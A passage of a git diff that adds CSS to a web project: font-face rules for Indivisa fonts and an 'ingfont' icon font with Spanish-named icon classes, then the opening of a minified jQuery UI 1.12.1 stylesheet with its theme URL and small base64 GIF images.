url('../fonts/indivisaFont/eot/IndivisaTextSans-BoldItalic.IndivisaTextSans-BoldItalic'); + font-weight: normal; + font-style: normal; +} + +@font-face { + font-family: 'indivisa-text'; + src: url('../fonts/indivisaFont/eot/IndivisaTextSans-Regular.eot'); + src: + url('../fonts/indivisaFont/woff/IndivisaTextSans-Regular.woff'), + url('../fonts/indivisaFont/ttf/IndivisaTextSans-Regular.ttf'), + url('../fonts/indivisaFont/eot/IndivisaTextSans-Regular.svg#IndivisaTextSans-Regular'); + font-weight: normal; + font-style: normal; +} + +@font-face { + font-family: 'indivisa-text-black'; + src: url('../fonts/indivisaFont/eot/IndivisaTextSans-Black.eot'); + src: + url('../fonts/indivisaFont/woff/IndivisaTextSans-Black.woff'), + url('../fonts/indivisaFont/ttf/IndivisaTextSans-Black.ttf'), + url('../fonts/indivisaFont/eot/IndivisaTextSans-Black.svg#IndivisaTextSans-Black'); + font-weight: normal; + font-style: normal; +} + +@font-face { + font-family: 'indivisa-text-bold'; + src: url('../fonts/indivisaFont/eot/IndivisaTextSans-Bold.eot'); + src: + url('../fonts/indivisaFont/woff/IndivisaTextSans-Bold.woff'), + url('../fonts/indivisaFont/ttf/IndivisaTextSans-Bold.ttf'), + url('../fonts/indivisaFont/eot/IndivisaTextSans-Bold.svg#IndivisaTextSans-Bold'); + font-weight: normal; + font-style: normal; +} + +.indivisa-display { + font-family: 'indivisa-display' !important; +} + +.indivisa-title { + font-family: 'indivisa-title' !important; +} + +/* INGENIERIA FONT */ +@font-face { + font-family: 'ingfont'; + src: url('../fonts/ingenieria/ingfont.eot?1fng03'); + src: url('../fonts/ingenieria/ingfont.eot?1fng03#iefix') format('embedded-opentype'), + url('../fonts/ingenieria/ingfont.ttf?1fng03') format('truetype'), + url('../fonts/ingenieria/ingfont.woff?1fng03') format('woff'), + url('../fonts/ingenieria/ingfont.svg?1fng03#ingfont') format('svg'); + font-weight: normal; + font-style: normal; + font-display: block; +} + +.ing-lg { + font-size: 1.33333em; + line-height: .75em; + vertical-align: -.0667em +} + +.ing-2x { + font-size: 2em +} + +.ing-3x { + font-size: 3em +} + +.ing-8x { + font-size: 8em +} + +.ing-fw { + text-align: center; + width: 1.4em +} + +/*1.25*/ +.ing-ul { + list-style-type: none; + margin-left: 2.5em; + padding-left: 0 +} + +.ing-ul>li { + position: relative +} + +.ing-li { + left: -2em; + position: absolute; + text-align: center; + width: 2em; + line-height: inherit +} + +.ing-rotate-90 { + -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=1)"; + -webkit-transform: rotate(90deg); + transform: rotate(90deg) +} + +.ing-rotate-180 { + -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2)"; + -webkit-transform: rotate(180deg); + transform: rotate(180deg) +} + +.ing-rotate-270 { + -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=3)"; + -webkit-transform: rotate(270deg); + transform: rotate(270deg) +} + +.ing-flip-horizontal { + -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)"; + -webkit-transform: scaleX(-1); + transform: scaleX(-1) +} + +.ing-flip-vertical { + -webkit-transform: scaleY(-1); + transform: scaleY(-1) +} + +.ing-flip-both, +.ing-flip-horizontal.ing-flip-vertical, +.ing-flip-vertical { + -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)" +} + +.ing-flip-both, +.ing-flip-horizontal.ing-flip-vertical { + -webkit-transform: scale(-1); + transform: scale(-1) +} + +:root .ing-flip-both, +:root .ing-flip-horizontal, +:root .ing-flip-vertical, +:root .ing-rotate-90, +:root .ing-rotate-180, +:root .ing-rotate-270 { + -webkit-filter: none; + filter: none +} + +[class^="ing-"], +[class*=" ing-"] { + /* use !important to prevent issues with browser extensions that change fonts */ + font-family: 'ingfont' !important; + speak: never; + font-style: normal; + font-weight: normal; + font-variant: normal; + text-transform: none; + line-height: 1; + display: inline-block; + + /* Better Font Rendering =========== */ + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; +} + +.ing-fb1:before { + content: "\e932"; +} + +.ing-fb2:before { + content: "\e933"; +} + +.ing-tw1:before { + content: "\e912"; +} + +.ing-tw2:before { + content: "\e900"; +} + +.ing-in1:before { + content: "\e91a"; +} + +.ing-in2:before { + content: "\e902"; +} + +.ing-instra1:before { + content: "\e924"; +} + +.ing-instra2:before { + content: "\e923"; +} + +.ing-youtube:before { + content: "\e90e"; +} + +.ing-telefono:before { + content: "\e911"; +} + +.ing-mail:before { + content: "\e907"; +} + +.ing-link:before { + content: "\e919"; +} + +.ing-ubicacion:before { + content: "\e908"; +} + +.ing-puntos:before { + content: "\e917"; +} + +.ing-usuario:before { + content: "\e90d"; +} + +.ing-pass:before { + content: "\e906"; +} + +.ing-menu:before { + content: "\e901"; +} + +.ing-salir:before { + content: "\e90f"; +} + +.ing-flecha:before { + content: "\e905"; +} + +.ing-cambiar:before { + content: "\e93c"; +} + +.ing-caret:before { + content: "\e90b"; +} + +.ing-aceptar:before { + content: "\e916"; +} + +.ing-cancelar:before { + content: "\e910"; +} + +.ing-mas:before { + content: "\e91d"; +} + +.ing-menos:before { + content: "\e91e"; +} + +.ing-editar:before { + content: "\e938"; +} + +.ing-buscar:before { + content: "\e939"; +} + +.ing-ojo:before { + content: "\e92a"; +} + +.ing-borrar:before { + content: "\e942"; +} + +.ing-basura:before { + content: "\e941"; +} + +.ing-camara:before { + content: "\e909"; +} + +.ing-importante:before { + content: "\e935"; +} + +.ing-bullet:before { + content: "\e943"; +} + +.ing-home:before { + content: "\e934"; +} + +.ing-formacion:before { + content: "\e914"; +} + +.ing-empleo:before { + content: "\e915"; +} + +.ing-insignia1:before { + content: "\e920"; +} + +.ing-insignia2:before { + content: "\e91f"; +} + +.ing-insignia3:before { + content: "\e921"; +} + +.ing-insignia4:before { + content: "\e922"; +} + +.ing-eventos:before { + content: "\e90a"; +} + +.ing-reporte:before { + content: "\e918"; +} + +.ing-catalogo:before { + content: "\e936"; +} + +.ing-evalua-cartel:before { + content: "\e913"; +} + +.ing-revision-cartel:before { + content: "\e90c"; +} + +.ing-reporte-resultados:before { + content: "\e929"; +} + +.ing-mi-cartel:before { + content: "\e91b"; +} + +.ing-galeria1:before { + content: "\e91c"; +} + +.ing-galeria2:before { + content: "\e925"; +} + +.ing-iniciar-sesion:before { + content: "\e926"; +} + +.ing-finalistas:before { + content: "\e927"; +} + +.ing-comite:before { + content: "\e92b"; +} + +.ing-administrador:before { + content: "\e92c"; +} + +.ing-estrella1:before { + content: "\e903"; +} + +.ing-estrella2:before { + content: "\e904"; +} + +.ing-carga-archivo:before { + content: "\e93d"; +} + +.ing-carga-multiple:before { + content: "\e93e"; +} + +.ing-descarga:before { + content: "\e928"; +} + +.ing-autorizar:before { + content: "\e92d"; +} + +.ing-negar:before { + content: "\e92e"; +} + +.ing-no-cargado:before { + content: "\e92f"; +} + +.ing-alumnos:before { + content: "\e91c"; +} + +.ing-cardex:before { + content: "\e93f"; +} + +.ing-configuracion:before { + content: "\e940"; +} + +.ing-listado-menus:before { + content: "\e944"; +} + +.ing-mi-cuenta:before { + content: "\e945"; +} + +.ing-ver:before { + content: "\e946"; +} + +.ing-grafica:before { + content: "\e930"; +} + +.ing-clic:before { + content: "\e931"; +} + +.ing-guardar:before { + content: "\e937"; +} + +.ing-regresar:before { + content: "\e93a"; +} + +.ing-cuadrado:before { + content: "\e93b"; +} + +.ing-imprimir:before { + content: "\e947"; +} + +.ing-importante2:before { + content: "\e948"; +} + +.ing-copiar:before { + content: "\e949"; +} + +.ing-reloj:before { + content: "\e94a"; +} + +.ing-retardo:before { + content: "\e94b"; +} + +.ing-justificar:before { + content: "\e94c"; +} \ No newline at end of file diff --git a/css/jquery-ui.css b/css/jquery-ui.css new file mode 100644 index 0000000..776e259 --- /dev/null +++ b/css/jquery-ui.css @@ -0,0 +1,7 @@ +/*! jQuery UI - v1.12.1 - 2016-09-14 +* http://jqueryui.com +* Includes: core.css, accordion.css, autocomplete.css, menu.css, button.css, controlgroup.css, checkboxradio.css, datepicker.css, dialog.css, draggable.css, resizable.css, progressbar.css, selectable.css, selectmenu.css, slider.css, sortable.css, spinner.css, tabs.css, tooltip.css, theme.css +* To view and modify this theme, visit http://jqueryui.com/themeroller/?bgShadowXPos=&bgOverlayXPos=&bgErrorXPos=&bgHighlightXPos=&bgContentXPos=&bgHeaderXPos=&bgActiveXPos=&bgHoverXPos=&bgDefaultXPos=&bgShadowYPos=&bgOverlayYPos=&bgErrorYPos=&bgHighlightYPos=&bgContentYPos=&bgHeaderYPos=&bgActiveYPos=&bgHoverYPos=&bgDefaultYPos=&bgShadowRepeat=&bgOverlayRepeat=&bgErrorRepeat=&bgHighlightRepeat=&bgContentRepeat=&bgHeaderRepeat=&bgActiveRepeat=&bgHoverRepeat=&bgDefaultRepeat=&iconsHover=url(%22images%2Fui-icons_555555_256x240.png%22)&iconsHighlight=url(%22images%2Fui-icons_777620_256x240.png%22)&iconsHeader=url(%22images%2Fui-icons_444444_256x240.png%22)&iconsError=url(%22images%2Fui-icons_cc0000_256x240.png%22)&iconsDefault=url(%22images%2Fui-icons_777777_256x240.png%22)&iconsContent=url(%22images%2Fui-icons_444444_256x240.png%22)&iconsActive=url(%22images%2Fui-icons_ffffff_256x240.png%22)&bgImgUrlShadow=&bgImgUrlOverlay=&bgImgUrlHover=&bgImgUrlHighlight=&bgImgUrlHeader=&bgImgUrlError=&bgImgUrlDefault=&bgImgUrlContent=&bgImgUrlActive=&opacityFilterShadow=Alpha(Opacity%3D30)&opacityFilterOverlay=Alpha(Opacity%3D30)&opacityShadowPerc=30&opacityOverlayPerc=30&iconColorHover=%23555555&iconColorHighlight=%23777620&iconColorHeader=%23444444&iconColorError=%23cc0000&iconColorDefault=%23777777&iconColorContent=%23444444&iconColorActive=%23ffffff&bgImgOpacityShadow=0&bgImgOpacityOverlay=0&bgImgOpacityError=95&bgImgOpacityHighlight=55&bgImgOpacityContent=75&bgImgOpacityHeader=75&bgImgOpacityActive=65&bgImgOpacityHover=75&bgImgOpacityDefault=75&bgTextureShadow=flat&bgTextureOverlay=flat&bgTextureError=flat&bgTextureHighlight=flat&bgTextureContent=flat&bgTextureHeader=flat&bgTextureActive=flat&bgTextureHover=flat&bgTextureDefault=flat&cornerRadius=3px&fwDefault=normal&ffDefault=Arial%2CHelvetica%2Csans-serif&fsDefault=1em&cornerRadiusShadow=8px&thicknessShadow=5px&offsetLeftShadow=0px&offsetTopShadow=0px&opacityShadow=.3&bgColorShadow=%23666666&opacityOverlay=.3&bgColorOverlay=%23aaaaaa&fcError=%235f3f3f&borderColorError=%23f1a899&bgColorError=%23fddfdf&fcHighlight=%23777620&borderColorHighlight=%23dad55e&bgColorHighlight=%23fffa90&fcContent=%23333333&borderColorContent=%23dddddd&bgColorContent=%23ffffff&fcHeader=%23333333&borderColorHeader=%23dddddd&bgColorHeader=%23e9e9e9&fcActive=%23ffffff&borderColorActive=%23003eff&bgColorActive=%23007fff&fcHover=%232b2b2b&borderColorHover=%23cccccc&bgColorHover=%23ededed&fcDefault=%23454545&borderColorDefault=%23c5c5c5&bgColorDefault=%23f6f6f6 +* Copyright jQuery Foundation and other contributors; Licensed MIT */ + +.ui-helper-hidden{display:none}.ui-helper-hidden-accessible{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.ui-helper-reset{margin:0;padding:0;border:0;outline:0;line-height:1.3;text-decoration:none;font-size:100%;list-style:none}.ui-helper-clearfix:before,.ui-helper-clearfix:after{content:"";display:table;border-collapse:collapse}.ui-helper-clearfix:after{clear:both}.ui-helper-zfix{width:100%;height:100%;top:0;left:0;position:absolute;opacity:0;filter:Alpha(Opacity=0)}.ui-front{z-index:100}.ui-state-disabled{cursor:default!important;pointer-events:none}.ui-icon{display:inline-block;vertical-align:middle;margin-top:-.25em;position:relative;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat}.ui-widget-icon-block{left:50%;margin-left:-8px;display:block}.ui-widget-overlay{position:fixed;top:0;left:0;width:100%;height:100%}.ui-accordion .ui-accordion-header{display:block;cursor:pointer;position:relative;margin:2px 0 0 0;padding:.5em .5em .5em .7em;font-size:100%}.ui-accordion .ui-accordion-content{padding:1em 2.2em;border-top:0;overflow:auto}.ui-autocomplete{position:absolute;top:0;left:0;cursor:default}.ui-menu{list-style:none;padding:0;margin:0;display:block;outline:0}.ui-menu .ui-menu{position:absolute}.ui-menu .ui-menu-item{margin:0;cursor:pointer;list-style-image:url("data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7")}.ui-menu .ui-menu-item-wrapper{position:relative;padding:3px 1em 3px .4em}.ui-menu .ui-menu-divider{margin:5px 0;height:0;font-size:0;line-height:0;border-width:1px 0 0 0}.ui-menu .ui-state-focus,.ui-menu .ui-state-active{margin:-1px}.ui-menu-icons{position:relative}.ui-menu-icons .ui-menu-item-wrapper{padding-left:2em}.ui-menu .ui-icon{position:absolute;top:0;bottom:0;left:.2em;margin:auto 0}.ui-menu .ui-menu-icon{left:auto;right:0}.ui-button{padding:.4em 1em;display:inline-block;position:relative;line-height:normal;margin-right:.1em;cursor:pointer;vertical-align:middle;text-align:center;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;overflow:visible}.ui-button,.ui-button:link,.ui-button:visited,.ui-button:hover,.ui-button:active{text-decoration:none}.ui-button-icon-only{width:2em;box-sizing:border-box;text-indent:-9999px;white-space:nowrap}input.ui-button.ui-button-icon-only{text-indent:0}.ui-button-icon-only .ui-icon{position:absolute;top:50%;left:50%;margin-top:-8px;margin-left:-8px}.ui-button.ui-icon-notext .ui-icon{padding:0;width:2.1em;height:2.1em;text-indent:-9999px;white-space:nowrap}input.ui-button.ui-icon-notext .ui-icon{width:auto;height:auto;text-indent:0;white-space:normal;padding:.4em 1em}input.ui-button::-moz-focus-inner,button.ui-button::-moz-focus-inner{border:0;padding:0}.ui-controlgroup{vertical-align:middle;display:inline-block}.ui-controlgroup > .ui-controlgroup-item{float:left;margin-left:0;margin-right:0}.ui-controlgroup > .ui-controlgroup-item:focus,.ui-controlgroup > .ui-controlgroup-item.ui-visual-focus{z-index:9999}.ui-controlgroup-vertical > .ui-controlgroup-item{display:block;float:none;width:100%;margin-top:0;margin-bottom:0;text-align:left}.ui-controlgroup-vertical .ui-controlgroup-item{box-sizing:border-box}.ui-controlgroup .ui-controlgroup-label{padding:.4em 1em}.ui-controlgroup .ui-controlgroup-label span{font-size:80%}.ui-controlgroup-horizontal .ui-controlgroup-label + .ui-controlgroup-item{border-left:none}.ui-controlgroup-vertical .ui-controlgroup-label + .ui-controlgroup-item{border-top:none}.ui-controlgroup-horizontal .ui-controlgroup-label.ui-widget-content{border-right:none}.ui-controlgroup-vertical .ui-controlgroup-label.ui-widget-content{border-bottom:none}.ui-controlgroup-vertical .ui-spinner-input{width:75%;width:calc( 100% - 2.4em )}.ui-controlgroup-vertical .ui-spinner .ui-spinner-up{border-top-style:solid}.ui-checkboxradio-label .ui-icon-background{box-shadow:inset 1px 1px 1px #ccc;border-radius:.12em;border:none}.ui-checkboxradio-radio-label .ui-icon-background{width:16px;height:16px;border-radius:1em;overflow:visible;border:none}.ui-checkboxradio-radio-label.ui-checkboxradio-checked .ui-icon,.ui-checkboxradio-radio-label.ui-checkboxradio-checked:hover .ui-icon{background-image:none;width:8px;height:8px;border-width:4px;border-style:solid}.ui-checkboxradio-disabled{pointer-events:none}.ui-datepicker{width:17em;padding:.2em .2em 0;display:none}.ui-datepicker .ui-datepicker-header{position:relative;padding:.2em 0}.ui-datepicker .ui-datepicker-prev,.ui-datepicker .ui-datepicker-next{position:absolute;top:2px;width:1.8em;height:1.8em}.ui-datepicker .ui-datepicker-prev-hover,.ui-datepicker .ui-datepicker-next-hover{top:1px}.ui-datepicker .ui-datepicker-prev{left:2px}.ui-datepicker .ui-datepicker-next{right:2px}.ui-datepicker .ui-datepicker-prev-hover{left:1px}.ui-datepicker .ui-datepicker-next-hover{right:1px}.ui-datepicker .ui-datepicker-prev span,.ui-datepicker .ui-datepicker-next span{display:block;position:absolute;left:50%;margin-left:-8px;top:50%;margin-top:-8px}.ui-datepicker .ui-datepicker-title{margin:0 2.3em;line-height:1.8em;text-align:center}.ui-datepicker .ui-datepicker-title select{font-size:1em;margin:1px 0}.ui-datepicker select.ui-datepicker-month,.ui-datepicker select.ui-datepicker-year{width:45%}.ui-datepicker table{width:100%;font-size:.9em;border-collapse:collapse;margin:0 0 .4em}.ui-datepicker th{padding:.7em .3em;text-align:center;font-weight:bold;border:0}.ui-datepicker td{border:0;padding:1px}.ui-datepicker td span,.ui-datepicker td a{display:block;padding:.2em;text-align:right;text-decoration:none}.ui-datepicker .ui-datepicker-buttonpane{background-image:none;margin:.7em 0 0 0;padding:0 .2em;border-left:0;border-right:0;border-bottom:0}.ui-datepicker .ui-datepicker-buttonpane button{float:right;margin:.5em .2em .4em;cursor:pointer;padding:.2em .6em .3em .6em;width:auto;overflow:visible}.ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current{float:left}.ui-datepicker.ui-datepicker-multi{width:auto}.ui-datepicker-multi .ui-datepicker-group{float:left}.ui-datepicker-multi .ui-datepicker-group table{width:95%;margin:0 auto .4em}.ui-datepicker-multi-2 .ui-datepicker-group{width:50%}.ui-datepicker-multi-3 .ui-datepicker-group{width:33.3%}.ui-datepicker-multi-4 .ui-datepicker-group{width:25%}.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header{border-left-width:0}.ui-datepicker-multi .ui-datepicker-buttonpane{clear:left}.ui-datepicker-row-break{clear:both;width:100%;font-size:0}.ui-datepicker-rtl{direction:rtl}.ui-datepicker-rtl .ui-datepicker-prev{right:2px;left:auto}.ui-datepicker-rtl .ui-datepicker-next{left:2px;right:auto}.ui-datepicker-rtl .ui-datepicker-prev:hover{right:1px;left:auto}.ui-datepicker-rtl .ui-datepicker-next:hover{left:1px;right:auto}.ui-datepicker-rtl .ui-datepicker-buttonpane{clear:right}.ui-datepicker-rtl .ui-datepicker-buttonpane button{float:left}.ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,.ui-datepicker-rtl .ui-datepicker-group{float:right}.ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header{border-right-width:0;border-left-width:1px}.ui-datepicker .ui-icon{display:block;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat;left:.5em;top:.3em}.ui-dialog{position:absolute;top:0;left:0;padding:.2em;outline:0}.ui-dialog .ui-dialog-titlebar{padding:.4em 1em;position:relative}.ui-dialog .ui-dialog-title{float:left;margin:.1em 0;white-space:nowrap;width:90%;overflow:hidden;text-overflow:ellipsis}.ui-dialog .ui-dialog-titlebar-close{position:absolute;right:.3em;top:50%;width:20px;margin:-10px 0 0 0;padding:1px;height:20px}.ui-dialog .ui-dialog-content{position:relative;border:0;padding:.5em 1em;background:none;overflow:auto}.ui-dialog .ui-dialog-buttonpane{text-align:left;border-width:1px 0 0 0;background-image:none;margin-top:.5em;padding:.3em 1em .5em .4em}.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset{float:right}.ui-dialog .ui-dialog-buttonpane button{margin:.5em .4em .5em 0;cursor:pointer}.ui-dialog .ui-resizable-n{height:2px;top:0}.ui-dialog .ui-resizable-e{width:2px;right:0}.ui-dialog .ui-resizable-s{height:2px;bottom:0}.ui-dialog .ui-resizable-w{width:2px;left:0}.ui-dialog .ui-resizable-se,.ui-dialog .ui-resizable-sw,.ui-dialog .ui-resizable-ne,.ui-dialog .ui-resizable-nw{width:7px;height:7px}.ui-dialog .ui-resizable-se{right:0;bottom:0}.ui-dialog .ui-resizable-sw{left:0;bottom:0}.ui-dialog .ui-resizable-ne{right:0;top:0}.ui-dialog .ui-resizable-nw{left:0;top:0}.ui-draggable .ui-dialog-titlebar{cursor:move}.ui-draggable-handle{-ms-touch-action:none;touch-action:none}.ui-resizable{position:relative}.ui-resizable-handle{position:absolute;font-size:0.1px;display:block;-ms-touch-action:none;touch-action:none}.ui-resizable-disabled .ui-resizable-handle,.ui-resizable-autohide .ui-resizable-handle{display:none}.ui-resizable-n{cursor:n-resize;height:7px;width:100%;top:-5px;left:0}.ui-resizable-s{cursor:s-resize;height:7px;width:100%;bottom:-5px;left:0}.ui-resizable-e{cursor:e-resize;width:7px;right:-5px;top:0;height:100%}.ui-resizable-w{cursor:w-resize;width:7px;left:-5px;top:0;height:100%}.ui-resizable-se{cursor:se-resize;width:12px;height:12px;right:1px;bottom:1px}.ui-resizable-sw{cursor:sw-resize;width:9px;height:9px;left:-5px;bottom:-5px}.ui-resizable-nw{cursor:nw-resize;width:9px;height:9px;left:-5px;top:-5px}.ui-resizable-ne{cursor:ne-resize;width:9px;height:9px;right:-5px;top:-5px}.ui-progressbar{height:2em;text-align:left;overflow:hidden}.ui-progressbar .ui-progressbar-value{margin:-1px;height:100%}.ui-progressbar .ui-progressbar-overlay{background:url("data:image/gif;base64,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");height:100%;filter:alpha(opacity=25);opacity:0.25}.ui-progressbar-indeterminate .ui-progressbar-value{background-image:none}.ui-selectable{-ms-touch-action:none;touch-action:none}.ui-selectable-helper{position:absolute;z-index:100;border:1px dotted black}.ui-selectmenu-menu{padding:0;margin:0;position:absolute;top:0;left:0;display:none}.ui-selectmenu-menu .ui-menu{overflow:auto;overflow-x:hidden;padding-bottom:1px}.ui-selectmenu-menu .ui-menu .ui-selectmenu-optgroup{font-size:1em;font-weight:bold;line-height:1.5;padding:2px 0.4em;margin:0.5em 0 0 0;height:auto;border:0}.ui-selectmenu-open{display:block}.ui-selectmenu-text{display:block;margin-right:20px;overflow:hidden;text-overflow:ellipsis}.ui-selectmenu-button.ui-button{text-align:left;white-space:nowrap;width:14em}.ui-selectmenu-icon.ui-icon{float:right;margin-top:0}.ui-slider{position:relative;text-align:left}.ui-slider .ui-slider-handle{position:absolute;z-index:2;width:1.2em;height:1.2em;cursor:default;-ms-touch-action:none;touch-action:none}.ui-slider .ui-slider-range{position:absolute;z-index:1;font-size:.7em;display:block;border:0;background-position:0 0}.ui-slider.ui-state-disabled .ui-slider-handle,.ui-slider.ui-state-disabled .ui-slider-range{filter:inherit}.ui-slider-horizontal{height:.8em}.ui-slider-horizontal .ui-slider-handle{top:-.3em;margin-left:-.6em}.ui-slider-horizontal .ui-slider-range{top:0;height:100%}.ui-slider-horizontal .ui-slider-range-min{left:0}.ui-slider-horizontal .ui-slider-range-max{right:0}.ui-slider-vertical{width:.8em;height:100px}.ui-slider-vertical .ui-slider-handle{left:-.3em;margin-left:0;margin-bottom:-.6em}.ui-slider-vertical .ui-slider-range{left:0;width:100%}.ui-slider-vertical .ui-slider-range-min{bottom:0}.ui-slider-vertical .ui-slider-range-max{top:0}.ui-sortable-handle{-ms-touch-action:none;touch-action:none}.ui-spinner{position:relative;display:inline-block;overflow:hidden;padding:0;vertical-align:middle}.ui-spinner-input{border:none;background:none;color:inherit;padding:.222em 0;margin:.2em 0;vertical-align:middle;margin-left:.4em;margin-right:2em}.ui-spinner-button{width:1.6em;height:50%;font-size:.5em;padding:0;margin:0;text-align:center;position:absolute;cursor:default;display:block;overflow:hidden;right:0}.ui-spinner a.ui-spinner-button{border-top-style:none;border-bottom-style:none;border-right-style:none}.ui-spinner-up{top:0}.ui-spinner-down{bottom:0}.ui-tabs{position:relative;padding:.2em}.ui-tabs .ui-tabs-nav{margin:0;padding:.2em .2em 0}.ui-tabs .ui-tabs-nav li{list-style:none;float:left;position:relative;top:0;margin:1px .2em 0 0;border-bottom-width:0;padding:0;white-space:nowrap}.ui-tabs .ui-tabs-nav .ui-tabs-anchor{float:left;padding:.5em 1em;text-decoration:none}.ui-tabs .ui-tabs-nav li.ui-tabs-active{margin-bottom:-1px;padding-bottom:1px}.ui-tabs .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor,.ui-tabs .ui-tabs-nav li.ui-state-disabled .ui-tabs-anchor,.ui-tabs .ui-tabs-nav li.ui-tabs-loading .ui-tabs-anchor{cursor:text}.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor{cursor:pointer}.ui-tabs .ui-tabs-panel{display:block;border-width:0;padding:1em 1.4em;background:none}.ui-tooltip{padding:8px;position:absolute;z-index:9999;max-width:300px}body .ui-tooltip{border-width:2px}.ui-widget{font-family:Arial,Helvetica,sans-serif;font-size:1em}.ui-widget .ui-widget{font-size:1em}.ui-widget input,.ui-widget select,.ui-widget textarea,.ui-widget button{font-family:Arial,Helvetica,sans-serif;font-size:1em}.ui-widget.ui-widget-content{border:1px solid #c5c5c5}.ui-widget-content{border:1px solid #ddd;background:#fff;color:#333}.ui-widget-content a{color:#333}.ui-widget-header{border:1px solid #ddd;background:#e9e9e9;color:#333;font-weight:bold}.ui-widget-header a{color:#333}.ui-state-default,.ui-widget-content .ui-state-default,.ui-widget-header .ui-state-default,.ui-button,html .ui-button.ui-state-disabled:hover,html .ui-button.ui-state-disabled:active{border:1px solid #c5c5c5;background:#f6f6f6;font-weight:normal;color:#454545}.ui-state-default a,.ui-state-default a:link,.ui-state-default 